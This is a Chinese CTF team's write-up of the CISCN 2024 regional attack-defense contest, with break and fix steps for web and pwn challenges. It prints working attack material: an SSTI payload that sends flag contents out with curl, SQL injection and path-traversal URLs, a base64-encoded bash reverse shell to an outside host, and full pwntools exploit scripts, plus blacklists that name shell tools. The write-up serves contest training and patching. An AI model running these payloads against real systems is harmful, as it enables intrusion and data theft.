2024年6月27日01:15:01评论3 views字数 6871阅读22分54秒阅读模式

声明

本文作者：CTF战队-xia0le

本文字数：约6800字

阅读时长：约18分钟

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CISCN华东北 2024 比赛题解

CTF战队正在招新~

简历投递至 match(AT)wgpsec.org （AT替换为@）

❝

CISCN 华东北 2024

比赛附件关注公众号“WgpSec狼组安全团队” 回复 CISCN2024-华东北下载

WEB

python-1

break

payload 禁用了print函数，使用如下payload进行无回显攻击，本地开启端口，如果拼接函数popen和命令curl

name={%set x=cycler.next.__globals__.__builtins__.__import__('os')['p''open']('cu'+'rl http://10.101.64.15:8081/`sort /fl*`').read()%}

fix

添加黑名单 {% %}

# -*- coding: UTF-8 -*-

from flask import Flask, request,render_template,render_template_string

app = Flask(__name__)

def blacklist(name):
blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args","{%","%}"]
for keyword in blacklists:
if keyword in name:
return True
return False

@app.route("/", methods=["GET","POST"])
def index():
if request.method == "POST":
try:
name = request.form['name']
names = blacklist(name)
if names == True:
return "Oh,False!"

html = '''<html><head><title>^_^</title></head><body><div><h1>Hello: %s</h1></div></body></html>''' % name
return render_template_string(html)
except ValueError:
pass
else:
html = '''<html><head><title>^_^</title></head><body><div><h1>Change.</h1></div></body></html>'''
return render_template_string(html)

python-2

break

题目非预期了，给的db里就有flag

fix

这里存在sql注入，注释即可

php-1

fix

d盾扫描出来后门，注释即可

php-2

break

/var/www/html/action/adminuser/searchmodify.php存在sql注入漏洞大小写绕过union和select

http://192.64.1.3/adminuser.php?action=searchmodify&id=-1' Union seLEct NULL,CONCAT(0x1,iFNULL(CAST(`name` AS CHAR),0x20),0x1),NULL,NULL FROM cf.flag-- -

fix

添加转义addslashes函数

php-3

break

glob协议爆破文件

import requests
import time
strings = "dqazwsxedcrfvtgb1234567890yhnujmikolpphp."

tmp = ""
for i in strings:
url = "http://192.64.1.149/?path=glob:///var/www/html/"+tmp+i+'*'
print(url)
res = requests.get(url=url).text
if "yes,it exists" in res:
tmp += i
print(tmp)
time.sleep(1)

然后得到页面d88554c739859dfe.php

<?php
#flag in /flag.txt
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
// Set blacklist
$substitutions = array(

' ' => '',
'flag' => '',
'cat' =>'',
'&&' =>'',
'||' =>'',
'%0a'=>'',
'less'=>'',
'more'=>'',
'%0d'=>'',
'|'=>'',
'&'=>'',
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{
echo "Not very good";
}
else
{
system($cmd);
}

http://192.64.1.149/d88554c739859dfe.php?cmd=sort%09/f*

fix

flag替換成123

<?php
#flag in /flag.txt
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
// Set blacklist
$substitutions = array(

' ' => '',
'flag' => '123',
'cat' =>'',
'&&' =>'',
'||' =>'',
'%0a'=>'',
'less'=>'',
'more'=>'',
'%0d'=>'',
'|'=>'',
'&'=>'',
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{
echo "Not very good";
}
else
{
system($cmd);
}

php-4

break

漏洞文件：

/var/www/html/admin/inclues/set_page.php

直接目录穿越进行文件读取

http://192.64.1.106/admin/admin.php?act=set_footer&file=../../../../../../../flag.txt

Fix

加个替换，将..替换成空

java-1

break

ssrf 绕过本地限制即可

CISCN华东北 2024 比赛题解

读取远程恶意js文件

http://192.44.1.112:8080/geturl?url=http://127.0.0.1:8080/cmd?test=http://10.101.64.12/poc.js

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwMS42NC4xMi85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}");}

fix

注释加载恶意js的地方即可

java-2

fix

jdbc反序列化，直接将连接数据库注释

CISCN华东北 2024 比赛题解

数据库连接注释

PWN

pwn-1

Fix

stack 可执行，

把 stack 默认权限改成 rw

break

格式化字符串漏洞泄露 canary和stack 地址然后栈溢出 ret2 shellcode

from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'x00'))
uu64    = lambda data               :u64(data.ljust(8,b'x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('&#x0;33[1;31;40m%s --> 0x%x &#x0;33[0m' % (s, eval(s)))

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote('192.64.1.194',80)
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)

binary = './pwn'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
brva 0x0014B7
brva 0x0014D7
#continue
'''.format(**locals())

io = start(binary)
def sett(name):
ru('2: get namen')
sl('1')
ru('->set name')
s(name)
#gdb.attach(io,gdbscript)
pay = f'%{6+0xb}$p%{6+0xc}$p'
sett(pay)

ru('2: get namen')
sl('2')

ru('0x')
can = int(r(16),16)
lss('can')
st = int(r(len('0x7ffc4963dec0')),16)
lss('st')
ret = st - 0x60
#pay = asm(shellcraft.read(0,ret,0x400)).ljust(72,b'x90')
pay = asm(shellcraft.openat(-100, 'flag',0))
pay += asm(shellcraft.sendfile(1,'rax',0,0x50))
pay = pay.ljust(72,b'A')
pay += p64(can) * 2
pay += p64(ret)
sett(pay)
#ru('2: get namen')
#sl('2')

ru('2: get namen')
sl('3')
#pause()
#pay = b'x90' * 0x20
#pay += asm(shellcraft.openat(-1, 'flag'))
#pay += asm(shellcraft.sendfile(1,'rax',0,0x50))
#
#sl(pay)

itr()

pwn-2

Fix

把这个 4 改成 8

break

check flag 会把 flag 放到 heap上，通过泄露 bss 上的heap 地址，然后在直接看heap地址里的flag 既可以

from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'x00'))
uu64    = lambda data               :u64(data.ljust(8,b'x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('&#x0;33[1;31;40m%s --> 0x%x &#x0;33[0m' % (s, eval(s)))

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote('192.64.1.217',80)
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)

binary = './pwn'
libelf = ''
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
b *0x401E03
b *0x402150
#continue
'''.format(**locals())

io = start(binary)
def ls_flag():
ru('6: check flagn')
sl('1')
def add_flag():
ru('6: check flagn')
sl('2')
def edit_flag(idx,data):
ru('6: check flagn')
sl('3')
ru(':id')
sl(str(idx))
#pause()
sl(str(data))
#gdb.attach(io,gdbscript)
add_flag()

ru('6: check flagn')
sl('6')

x = 0x4e67a0

ru('6: check flagn')
sl('5')
sl(str(x))

ru('flag_get::')
ru(':')
x= uu64(r(4))

lss('x')
flag = x + 3392 - 0x1f
ru('6: check flagn')
sl('5')
sl(str(flag))
#edit_flag(0x4e6018+184, 0x401E03)
#edit_flag(0x4e6018, 0x401E03)
#while(1):
# d = io.recv(200)
# if b'flag{' in d:
# print(d)
# pause()
#
#
#io.close()
itr()

作者

CTF战队 · xia0le

求知若渴，虚心若愚

原文始发于微信公众号（WgpSec狼组安全团队）：CISCN华东北 2024 比赛题解

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WEB

python-1

break

fix

python-2

break

fix

php-1

fix

php-2

break

fix

php-3

break

fix

php-4

break

Fix

java-1

break

fix

java-2

fix

PWN

pwn-1

Fix

break

pwn-2

Fix

break

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